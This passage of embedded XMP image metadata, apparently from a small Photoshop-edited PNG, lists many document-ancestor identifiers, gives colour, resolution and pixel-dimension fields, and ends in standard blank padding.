               <rdf:li>xmp.did:F77F1174072068118DBBA8F193EBC78B</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DBBAF47CB072C7E</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DBBBF093A1DAA97</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DBBD50140CE3BE8</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DBBDA7B868B1240</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DBBF0860F7EDEF0</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DC196984EFEC09F</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118EDFE3C85FC5A5BD</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F1CFECA782915C6</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F42F1D8108024F1</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F62C8684C936145</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F62EEA207DB2DFF</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F62FDBD9649A46B</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118FDCACBD0F46D589</rdf:li>
               <rdf:li>xmp.did:F77F117407206811900D8623FB6CCF2F</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119098A7718DD2EBAF</rdf:li>
               <rdf:li>xmp.did:F77F117407206811910985A437F0D0B3</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109862065E637A5</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109A18D07994BAA</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109AA3891E71C20</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109B80DD3093C00</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109BC552EB79E12</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109C71CF6D9E2A4</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109CC85AE74B274</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109D06A8313D563</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109E626B4ED1C3E</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109E9DFED7E4777</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109F8FE27718D5A</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109F9E8629A8F77</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0A1AA0B2EFC15</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0A64B4373937D</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0B6CBB13A5218</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0E5594C694DCA</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0ECAD1A886320</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0FBBB6736D3E0</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0FFCA006AF2A6</rdf:li>
               <rdf:li>xmp.did:F77F11740720681194578DD9F557B2A4</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119457B54112180CB0</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119457CF7932149EAA</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119457F7E11EF47C26</rdf:li>
               <rdf:li>xmp.did:F77F11740720681194FC8A3235E08E7E</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEA4D474CEC3A2</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEC0EE3EA39B88</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEC1F5E62B59CE</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEE1ABA1AEE76F</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEE3C51095942E</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5860249FA4AD0</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5900666D92FB6</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5B4A19F094348</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5DA6D8D0DCD7B</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5E8F13FE40D34</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5E94B7C2456C1</rdf:li>
               <rdf:li>xmp.did:F77F11740720681198E99BCF30868C79</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994C86496ABEABAE</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994C8A8243CF6DD5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994C91342A691E1C</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994CBD3507C9202A</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994CC8D8F7B54ACA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994CF1C7CBEFB674</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119AFACDD002E68734</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119B83CEEA27995AC4</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119C12FCC73F11446E</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119EB8F890500830B9</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A178B4862A3AC2C7</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A1AFB41E9D0EF6B9</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A234A1321D5CA9F9</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A5C2BBA15379BE08</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A6138070A46BCC67</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A613FC07C3D4EEBA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A688C58592B2EC97</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A6FAEA435EC1AF87</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A734B0A0B55FB86C</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A7A6EAF54AA2B056</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A7BACE4D918669F7</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A7E8FDBEFC40F4C5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A9F8A44324AE3979</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AAF1F360BEADB6C0</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AB088ED073FBA775</rdf:li>
               <rdf:li>xmp.did:F77F117407206811ABCDCC7CA4D69551</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AD26F28600CC29DA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AE56D6748533125F</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AEE1E85804F1BC1E</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AEF69600F277E5BB</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AFC6D81E688ADBEB</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B04FBAAF7885AEEF</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B1A4F6DD83BF03B5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B1A4FD6A6A7642F4</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B1B7AA467262CD37</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B516B5B451545A40</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B5669AC054FE53DD</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B5D8FA3823B95AEA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B5FEC38E6EA09CBA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BA24F97E9D027B47</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BAFDD8C559CCB40F</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BB5ADC9BC13258B5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BB8EE28C44C74A0A</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BC5391310951E999</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BCF8B60D9469211F</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BEDCA708FFA8A08A</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BF8EAA6E2CF6254A</rdf:li>
               <rdf:li>xmp.did:F791E347532168119109D5663B354062</rdf:li>
               <rdf:li>xmp.did:F7A270C2A7A3DF119F139B952251B991</rdf:li>
               <rdf:li>xmp.did:F7CA3D423B2E68118F62E4B54880F119</rdf:li>
               <rdf:li>xmp.did:F7CF60380D21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:F7E00B9F0D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:F7EA2E9FF007E011A1CEA84A0C8F47D5</rdf:li>
               <rdf:li>xmp.did:F7F5B118ADA2E211902383721CFF425A</rdf:li>
               <rdf:li>xmp.did:F827F1BBE3C5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:F84ACF2DBCB2E011A197B9566C7F9C15</rdf:li>
               <rdf:li>xmp.did:F85F2D8A79B8E011B8DDB764408DB571</rdf:li>
               <rdf:li>xmp.did:F87F117407206811808384D0F1D669E1</rdf:li>
               <rdf:li>xmp.did:F87F117407206811808386F774EDA757</rdf:li>
               <rdf:li>xmp.did:F87F117407206811808399331810C790</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118083CB114F13D92B</rdf:li>
               <rdf:li>xmp.did:F87F117407206811822ADC2C1421690D</rdf:li>
               <rdf:li>xmp.did:F87F117407206811871F833371E134A3</rdf:li>
               <rdf:li>xmp.did:F87F117407206811873CBAB485DC00AA</rdf:li>
               <rdf:li>xmp.did:F87F11740720681188C6956C521FE498</rdf:li>
               <rdf:li>xmp.did:F87F11740720681188C69EA5821E0BEB</rdf:li>
               <rdf:li>xmp.did:F87F11740720681188C6ED6D188E5A95</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118A6DB10404C03239</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118AE4FE3FBF51A176</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118B96D4CB54D79FC3</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118CB6C84868CF9C29</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118DBBBF093A1DAA97</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62A44CE4DF69A8</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62B218C67CB069</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62C22238EF3839</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:F87F117407206811902EB2E145B56D0D</rdf:li>
               <rdf:li>xmp.did:F87F117407206811910995246128F8DF</rdf:li>
               <rdf:li>xmp.did:F87F11740720681191099AF6DFEFD10B</rdf:li>
               <rdf:li>xmp.did:F87F1174072068119109AAFB9F469FD0</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CA9A71151591E</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CABC2B47FF03F</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CE06D138483BA</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CFC33510E9D40</rdf:li>
               <rdf:li>xmp.did:F87F1174072068119CD4DB2985335F93</rdf:li>
               <rdf:li>xmp.did:F87F117407206811A5C6DAA4F2903FAD</rdf:li>
               <rdf:li>xmp.did:F87F117407206811A961F86FF52E2C84</rdf:li>
               <rdf:li>xmp.did:F87F117407206811ACA1ABD0ECE4A95A</rdf:li>
               <rdf:li>xmp.did:F87F117407206811B699A901380E7BA5</rdf:li>
               <rdf:li>xmp.did:F87F117407206811B9B1DE3DF693708F</rdf:li>
               <rdf:li>xmp.did:F88F820B1420681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:F8B1200EC82068118F62B55C94B5F1CA</rdf:li>
               <rdf:li>xmp.did:F8B4F25B60206811A613DD728240A3A8</rdf:li>
               <rdf:li>xmp.did:F8BA6C85CA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:F8BC412B0C2068119109C80A4C3147BC</rdf:li>
               <rdf:li>xmp.did:F8E0011C512068119424C177A643562A</rdf:li>
               <rdf:li>xmp.did:F8E327E22F21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:F92117C53520681180839613FFBBFAAC</rdf:li>
               <rdf:li>xmp.did:F927F1BBE3C5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:F93DC7D5DFC5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:F956D1FE2920681192B095AAEA619829</rdf:li>
               <rdf:li>xmp.did:F95F2D8A79B8E011B8DDB764408DB571</rdf:li>
               <rdf:li>xmp.did:F974D8AD50E3DE119B98A0D1FCBA1444</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118083EB83C62BD7C1</rdf:li>
               <rdf:li>xmp.did:F97F11740720681180BACB59FC786B55</rdf:li>
               <rdf:li>xmp.did:F97F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:F97F117407206811871FDE4004ABFCBA</rdf:li>
               <rdf:li>xmp.did:F97F117407206811871FEB10CF5631D2</rdf:li>
               <rdf:li>xmp.did:F97F117407206811871FEB8DB824A23C</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DA10CD3CD7468</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DB77C382C0FEB</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DF1EB259C6C29</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118C14886BEA417E94</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBB19E0C24AE1C</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBDD5AE24192C4</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBEB69C03E24DA</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBF1EFF81BD277</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119098A7718DD2EBAF</rdf:li>
               <rdf:li>xmp.did:F97F11740720681192B094F11AECB845</rdf:li>
               <rdf:li>xmp.did:F97F11740720681192B0E118D6113D9A</rdf:li>
               <rdf:li>xmp.did:F97F11740720681192B0F1027B0A6901</rdf:li>
               <rdf:li>xmp.did:F97F117407206811937C8D085C7056F3</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:F97F11740720681198F1AB822C242CCF</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119A7F833586C6F350</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119AFACDD002E68734</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119BD1C5AE3FAA636F</rdf:li>
               <rdf:li>xmp.did:F97F117407206811AA09A2F8C5F9607C</rdf:li>
               <rdf:li>xmp.did:F97F117407206811AB08F346134D4C66</rdf:li>
               <rdf:li>xmp.did:F97F117407206811AB59EB39818C59AB</rdf:li>
               <rdf:li>xmp.did:F97F117407206811B286BAE449111509</rdf:li>
               <rdf:li>xmp.did:F97F117407206811B7CC8D8DEF16757B</rdf:li>
               <rdf:li>xmp.did:F97F117407206811BEDC9C80BC746BD7</rdf:li>
               <rdf:li>xmp.did:F98F7721465EE011978DEF38B3E75961</rdf:li>
               <rdf:li>xmp.did:F99271120F206811BE9BD62F9D475EB1</rdf:li>
               <rdf:li>xmp.did:F99A94C85A2068119457B4E8E216C3A8</rdf:li>
               <rdf:li>xmp.did:F9B2F4A030ECDF11B4CD9F957CD01735</rdf:li>
               <rdf:li>xmp.did:F9D2BC0A0398DF118E0DFBCC39F1D70C</rdf:li>
               <rdf:li>xmp.did:F9E00B9F0D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:F9E8ECDEEFBDE0118D13AAB82D64C562</rdf:li>
               <rdf:li>xmp.did:F9F16C12E2206811BEDC9678CA0435A7</rdf:li>
               <rdf:li>xmp.did:FA02D8E3A224681197A5FBDC682E9346</rdf:li>
               <rdf:li>xmp.did:FA0B45B42D206811871FA25DC28114E9</rdf:li>
               <rdf:li>xmp.did:FA130DF832216811B6D09349CCF4BD48</rdf:li>
               <rdf:li>xmp.did:FA2E9430BBF1E1118E87BDEFDF4B7379</rdf:li>
               <rdf:li>xmp.did:FA3C53DDCA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:FA615A74072068118A6DFDDFF2BD3A03</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811822A9F727D6911FA</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811845E8FFC1E293EA6</rdf:li>
               <rdf:li>xmp.did:FA7F11740720681188C6AAF38E9FB5F5</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068118B55D8122BD4BBDA</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068118C14AF6C9BD96AB9</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068118F628C4A209C8985</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119109836B7A347A79</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119109938AE0070106</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119109D4895471EB7A</rdf:li>
               <rdf:li>xmp.did:FA7F11740720681198F1AB822C242CCF</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811994CA7F06A9500A2</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811994CC56805A67938</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119D68B0A7E60C0F5F</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811A964A31DC56DDF2F</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811AB0885052E48C102</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811AB59EB39818C59AB</rdf:li>
               <rdf:li>xmp.did:FAAF420C0F206811822A9F727D6911FA</rdf:li>
               <rdf:li>xmp.did:FABA6C85CA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:FACF60380D21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:FAD821CC1EB1E011A71D9BAC861B396E</rdf:li>
               <rdf:li>xmp.did:FAEFC6B04EE111E094BED6A6206659D4</rdf:li>
               <rdf:li>xmp.did:FB0CF3AC8B20E011A762E7A2279D143D</rdf:li>
               <rdf:li>xmp.did:FB1591B51620681192B0AB18D6F10F7C</rdf:li>
               <rdf:li>xmp.did:FB2A61F69CE011DF83C0A65F756D654C</rdf:li>
               <rdf:li>xmp.did:FB33C528442068119A56CF70087969A4</rdf:li>
               <rdf:li>xmp.did:FB44CB0E5039E111A6A5FFB9D879379E</rdf:li>
               <rdf:li>xmp.did:FB536F21AB21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:FB5F2D8A79B8E011B8DDB764408DB571</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811808391A5371D201D</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118083EB83C62BD7C1</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811871F92CFDFF7440C</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811871F92F86C2782CE</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811871FEEA6EC09A2E5</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681188C6CC16CFB2376C</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681188C6FB115CEDFE88</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118A6D938FB70F8224</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118A6DB77C382C0FEB</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118F628504B14915F2</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118F62B4C0222208FE</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118F62D1E4D00C3DEC</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068119109C00FC3634517</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068119109D0E02D4CD5E6</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0A1AA0B2EFC15</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0A6951AA679E5</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0BB8DA2E94514</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0DC8DC9EE0D67</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0F1027B0A6901</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681197A58C87B58F4D68</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681197A5BD303BD21412</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681197A5CC50EE7F478D</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811A9618972999C1C0D</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811AB08D95ECD287044</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811AB6BD18007F6B485</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811AFBDF43FFCB42EC5</rdf:li>
               <rdf:li>xmp.did:FBAB123E5C2168119109D5663B354062</rdf:li>
               <rdf:li>xmp.did:FBC4D2040A2068119109CC642C44EC0C</rdf:li>
               <rdf:li>xmp.did:FBF0030BD094DF11B924FFC964F2F0AE</rdf:li>
               <rdf:li>xmp.did:FBF99EB7567DDF11A74EE6CE03994422</rdf:li>
               <rdf:li>xmp.did:FBFE3D4920206811A6139B84BB329A54</rdf:li>
               <rdf:li>xmp.did:FC15090CD995E011BDAADEA50477F66B</rdf:li>
               <rdf:li>xmp.did:FC1591B51620681192B0AB18D6F10F7C</rdf:li>
               <rdf:li>xmp.did:FC366C6EDF75E111A2D7DC31A6196906</rdf:li>
               <rdf:li>xmp.did:FC3C53DDCA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:FC5177D26020681192B0FBBB6736D3E0</rdf:li>
               <rdf:li>xmp.did:FC6519253A2068118083EA39B6BAF187</rdf:li>
               <rdf:li>xmp.did:FC6F0BD5F22FE111835FCEA6CCEB95E2</rdf:li>
               <rdf:li>xmp.did:FC7DDCF15997E0118813CD7B5EC42916</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811808391A5371D201D</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118A6DF3C73496F8E5</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118DBBAA650F3D9198</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118DBBF11625A05A5C</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118F62D51A6DC08DF3</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118F62F4555C5E84BE</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068119109C00FC3634517</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068119109EBB0DC425B39</rdf:li>
               <rdf:li>xmp.did:FC7F11740720681192B0A08E4EE6AF18</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068119457840AD566213A</rdf:li>
               <rdf:li>xmp.did:FC7F11740720681194579828B43B938A</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811994CA7F06A9500A2</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811AD43B1EC353D4389</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811AE568088196B6FA8</rdf:li>
               <rdf:li>xmp.did:FCA806F40D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:FCEA85651E2068118F62BF57C8B21ACE</rdf:li>
               <rdf:li>xmp.did:FD186C1C3F3DE211A9C1988C69A109E0</rdf:li>
               <rdf:li>xmp.did:FD31D7243D10E1118C39D2A30E1F8627</rdf:li>
               <rdf:li>xmp.did:FD5731358829E011A5B89CB7630C6210</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:FD7F11740720681182FE98EF7F18BF1D</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068118EB4A0B9BBA3EFED</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811910995A4B85C7883</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068119109EBB0DC425B39</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068119109EEAF5DE05AA7</rdf:li>
               <rdf:li>xmp.did:FD7F11740720681197A5CC50EE7F478D</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811A178B4862A3AC2C7</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811BF24C98FA878C053</rdf:li>
               <rdf:li>xmp.did:FD8128D861F011E09CB3C7B148487B43</rdf:li>
               <rdf:li>xmp.did:FD903AC7552AE111813897F26901095F</rdf:li>
               <rdf:li>xmp.did:FD97F6DDD0FCE011AFE1E029CA081DF4</rdf:li>
               <rdf:li>xmp.did:FDABDCB6170CE1118F27E0F7E0FBE3E2</rdf:li>
               <rdf:li>xmp.did:FDACD264D365DF118102E6D513DA68F3</rdf:li>
               <rdf:li>xmp.did:FDE245DE1695E1119034DB56C34D7450</rdf:li>
               <rdf:li>xmp.did:FDEEBC462C2068119109C35E4994DFBC</rdf:li>
               <rdf:li>xmp.did:FE04079E3805E111AD37E3018A2F39FA</rdf:li>
               <rdf:li>xmp.did:FE1591B51620681192B0AB18D6F10F7C</rdf:li>
               <rdf:li>xmp.did:FE2A465E4320681188C6E28C6E610B42</rdf:li>
               <rdf:li>xmp.did:FE2A6706AA60E011A98E8847F89F8D20</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068118083E4FF021AA64B</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811822ADA67FA3E7CF7</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811871FF1F3D7C5E4CF</rdf:li>
               <rdf:li>xmp.did:FE7F11740720681188C6CFC36FCEB8B9</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068118F62DD804FF26847</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068119109FEAFD0139520</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811994CFD89901993E5</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068119AFACDD002E68734</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811A961E68EEDC136C8</rdf:li>
               <rdf:li>xmp.did:FE8F876C7E2168118F62E601B48A9F82</rdf:li>
               <rdf:li>xmp.did:FEAEDB180DBDDF118355880DD26B0EE8</rdf:li>
               <rdf:li>xmp.did:FEBA412FE357E1119021ECD684566952</rdf:li>
               <rdf:li>xmp.did:FEC52D397663DF11B26194DD13427F8B</rdf:li>
               <rdf:li>xmp.did:FECDAA679A3EE111B0109A7769D7149C</rdf:li>
               <rdf:li>xmp.did:FED99A8A551FE21188AB8837C60A450C</rdf:li>
               <rdf:li>xmp.did:FF0DA48CE680E0118A00D979C714CA89</rdf:li>
               <rdf:li>xmp.did:FF3550F002AD11E18740F64E75AD4D2A</rdf:li>
               <rdf:li>xmp.did:FF3819F6172068118F62D63BC9AEC7D1</rdf:li>
               <rdf:li>xmp.did:FF431D5D531CE0118516B2A88CCE0B19</rdf:li>
               <rdf:li>xmp.did:FF57693A018EDF11BEBB835A3A1D3CAE</rdf:li>
               <rdf:li>xmp.did:FF6519253A2068118083EA39B6BAF187</rdf:li>
               <rdf:li>xmp.did:FF7F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:FF7F117407206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:FF7F11740720681188C69570BE93D174</rdf:li>
               <rdf:li>xmp.did:FF7F1174072068118A6DDF8F0DFF0B44</rdf:li>
               <rdf:li>xmp.did:FF7F1174072068119109EBB0DC425B39</rdf:li>
               <rdf:li>xmp.did:FF7F11740720681197A586CAE747F851</rdf:li>
               <rdf:li>xmp.did:FF7F117407206811AD3E9F58C98DC11C</rdf:li>
               <rdf:li>xmp.did:FF9D5EE8E87CE01185D4A044C68EEC55</rdf:li>
               <rdf:li>xmp.did:FFD0AC0411206811BB8EDD0255C155B9</rdf:li>
               <rdf:li>xmp.did:FFD98459E49FE111A36DFB91276CB217</rdf:li>
               <rdf:li>xmp.did:FFDC8424D4E2DF11AED8B5A8AB741903</rdf:li>
               <rdf:li>xmp.did:ac9f2274-ea44-6e49-bba3-9513f48c382b</rdf:li>
            </rdf:Bag>
         </photoshop:DocumentAncestors>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <photoshop:ICCProfile>sRGB IEC61966-2.1</photoshop:ICCProfile>
         <dc:format>image/png</dc:format>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ColorSpace>1</exif:ColorSpace>
         <exif:PixelXDimension>126</exif:PixelXDimension>
         <exif:PixelYDimension>21</exif:PixelYDimension>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
